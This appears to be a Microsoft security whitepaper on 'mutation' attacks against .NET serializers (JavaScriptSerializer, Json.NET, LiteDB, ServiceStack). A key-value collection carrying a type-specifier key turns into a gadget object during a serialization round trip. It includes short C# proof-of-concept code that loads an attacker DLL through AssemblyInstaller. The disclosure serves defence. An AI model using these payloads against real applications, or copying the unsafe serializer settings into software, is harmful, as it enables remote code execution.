Mutation-Based Serialization Vulnerabilities

Jonathan Birch, Microsoft Corporation

Abstract

This document describes a new type of serialization security vulnerability where remote code execution is possible if untrusted data is included in objects that are serialized and then later deserialized, with no opportunity for an attacker to alter the serialized data. This attack works by causing the serializer to output data which it will deserialize into a different type of object than what was serialized, effectively "mutating" the object during serialization.

Contents

Background

Security vulnerabilities in .NET applications caused by the deserialization of untrusted data have been known about for many years. James Forshaw made an initial demonstration of the exploitability of BinaryFormatter in his 2012 "Are You My Type" talk[1]. In the 2017 talk "Friday the 13th JSON Attacks", Alvaro Muñoz & Oleksandr Mirosh extended this to demonstrate methods for achieving remote code execution when an untrusted stream was deserialized in .NET with various serializers, including Json.NET[2].

In both talks, and in the general discourse since around serialization security, exploitation efforts have been focused on scenarios where an attacker can supply or tamper with a serialized data stream. Some of the recommendations for preventing serialization exploits have also focused on making serialized data tamper-proof, such as by using an HMAC.

Serialization exploits in .NET primarily involve exploitation of "unbounded polymorphic serializers". These are serializers where the serialized data stream can specify what type of objects should be created during deserialization and where there are not significant limitations on the allowed types. Malicious data deserialized using an unbounded polymorphic serializer can specify types that have side effects,

when their constructor is called, when their properties are set, or in some cases when they are disposed. For example, the System.Windows.Data.ObjectDataProvider type in.NET Framework has properties, which when set, can invoke a call to any static method on any type with basic string and integer parameters. This type is often used to invoke System.Diagnostics.Process.Start to pivot to a shell injection exploit. Types that are used during deserialization to achieve specific exploit goals are referred to as “Gadgets”.

Mutation of serialized objects

Various .NET serializers that serialize to a JSON or BSON format allow for polymorphism in certain configurations by including a “type specifier” in the serialized data. For example, .NET’s JavaScriptSerializer, when used in conjunction with a SimpleTypeResolver, serializes an Exception object to a string like the following:

```
{"__type":"System.Exception, mscorlib, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089","Message":"Out of
memory","Data":{},"InnerException":null,"TargetSite":null,"StackTrace":null,"
HelpLink":null,"Source":null,"HResult":-2146233088}
```

In this JSON string the “__type” property is the “type specifier”.

Most JSON and BSON serializers also have the property that they store objects with a key-value structure by using the key names directly as the keys in the resulting JSON. For example, a .NET *Dictionary<string, string>* object might be serialized as:

```
{“key1”:”value1”,”key2”:”value2”}
```

This pattern is also used for various other key-value collection objects, such as HashTable, JObject, or ExpandoObject.

Unfortunately, many serializers employ both strategies without taking measures to prevent the key-value storage format from imitating the object with type specifier format. This means that serializing and deserializing a Dictionary<string,string> with a key whose name matches the name used for the type specifier will cause that object to be transformed into an object whose type matches the value associated with that key.

This may be more easily understood through specific examples.

Example Mutation Attacks

JavaScriptSerializer

This code is a minimal proof-of-concept mutation attack against the .NET JavaScriptSerializer:

```
Dictionary<string, string> stringDict = new Dictionary<string, string>();
stringDict.Add("Apple", "Pear");//having other entries makes no difference
stringDict.Add("__type",
"System.Configuration.Install.AssemblyInstaller, System.Configuration.Install,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
stringDict.Add("Whatever", "Whatever");//having other entries makes no difference
stringDict.Add("Path", "c:\\temp\\Malicious.dll");
```

```
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());

string json = serializer.Serialize(stringDict);

//this next line runs code by loading an untrusted DLL from a path in the payload
Dictionary<string,string> myDeserializedObject =
serializer.Deserialize<Dictionary<string,string>>(json);
```

In this example, JavaScriptSerializer serializes the Dictionary object into the following JSON string:

{"__type":"System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","Apple":"Pear","Whatever":"Whatever","Path":"c:\\temp\\Malicious.dll"}

T*his JSON matches what the serializer would generate if it was serializing an object with the AssemblyInstaller type*. When the object is deserialized, the serializer generates an AssemblyIntaller object and then assigns its "Path" property. Setting the path property on an AssemblyInstaller object to the location of a DLL file causes the application to load a DLL from that path. Since the DLL in this case is a malicious attacker-supplied file, this allows for remote code execution.

Note that other keys and values being present in the dictionary does not matter in this case. The serializer ignores property names that don't match the names of properties of the object during deserialization.

Json.Net

This code is a similar proof-of-concept mutation attack against the Newtonsoft Json.NET serializer:

```
Dictionary<string, string> basicStringDict = new Dictionary<string, string>();
basicStringDict.Add("$type", "System.Configuration.Install.AssemblyInstaller,
System.Configuration.Install, Version = 4.0.0.0, Culture = neutral, PublicKeyToken =
b03f5f7f11d50a3a");
basicStringDict.Add("Path", "https://www.example.com/fake.dll");
JsonSerializerSettings settings = new JsonSerializerSettings() { TypeNameHandling =
TypeNameHandling.Auto };
string serializedDictionary = JsonConvert.SerializeObject(basicStringDict, settings);
System.Console.WriteLine(serializedDictionary);
Object deserialized = JsonConvert.DeserializeObject(serializedDictionary, settings);
```

In this case the type specifier must be the first key in the dictionary. Json.NET also checks assignability, so this exploit only works because the unsafe deserialization does not specify an expected type.

Regarding Assignability

Some polymorphic serializers check that the type indicated by a type specifier is assignable to either the type specified by the application performing the deserialization or the type of the member the resulting object would be assigned to, before creating an object. This check is usually performed using the Type.IsAssignableFrom method.

Serializers which perform this “assignability” check are generally more difficult to exploit using mutation attacks, because an object that changes types during a serialization round trip will usually not be assignable to the expected member or the expected type defined by the application. Exploitation may still be possible in cases where either an untyped deserialization is performed and the tamperable key-value collection object is the root object of the serialized data or, less commonly, when an object with a key-value collection structure is assigned to a member with a more generic type such as a member of type “Object”.

Serializers Known to be Vulnerable to Mutation

Serializer	Need to control first key pair?	Checks assignability?	Other limitations
JSON.Net	Yes	Yes	Unsafe TypeNameHandling
JavaScriptSerializer	No	No	Unsafe TypeResolver SimpleTypeResolver
LiteDB.BsonMapper v5.0.12	No	Only in v>=5.0.13	None
ServiceStack.Text.JsonSerializer v6.5.0	Yes	Yes	None

Attack Patterns Enabled by Mutation

Serialization mutation vulnerabilities can be used to attack applications where traditional serialization exploits are impossible. Insecure serialization is often used in ways where the serialized data is never exposed to an attacker. This includes cases such as serialization to a back-end database, serialization to an in-memory cache, serialization for deep copying, or serialization used to transfer objects between back-end servers. In all these cases, if an attacker can control key-value data that is stored in objects that will later be serialized and then deserialized with an insecure serializer, remote code execution may still be possible.

Similarly, securing serialized data with an HMAC to prevent tampering does not prevent exploitation using a serialization mutation attack.

There are many widely used open-source libraries that use unsafe serializers to read and write data either from caches or database storage. Storing untrusted data using these libraries can also lead to remote code execution vulnerabilities.

References

1. James Forshaw, “Are You My Type? Breaking .NET Through Serialization”, Black Hat USA 2012, Available at: https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
2. Alvaro Muñoz & Oleksandr Mirosh, “Friday the 13th JSON Attacks”, Black Hat USA 2017, Available at: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf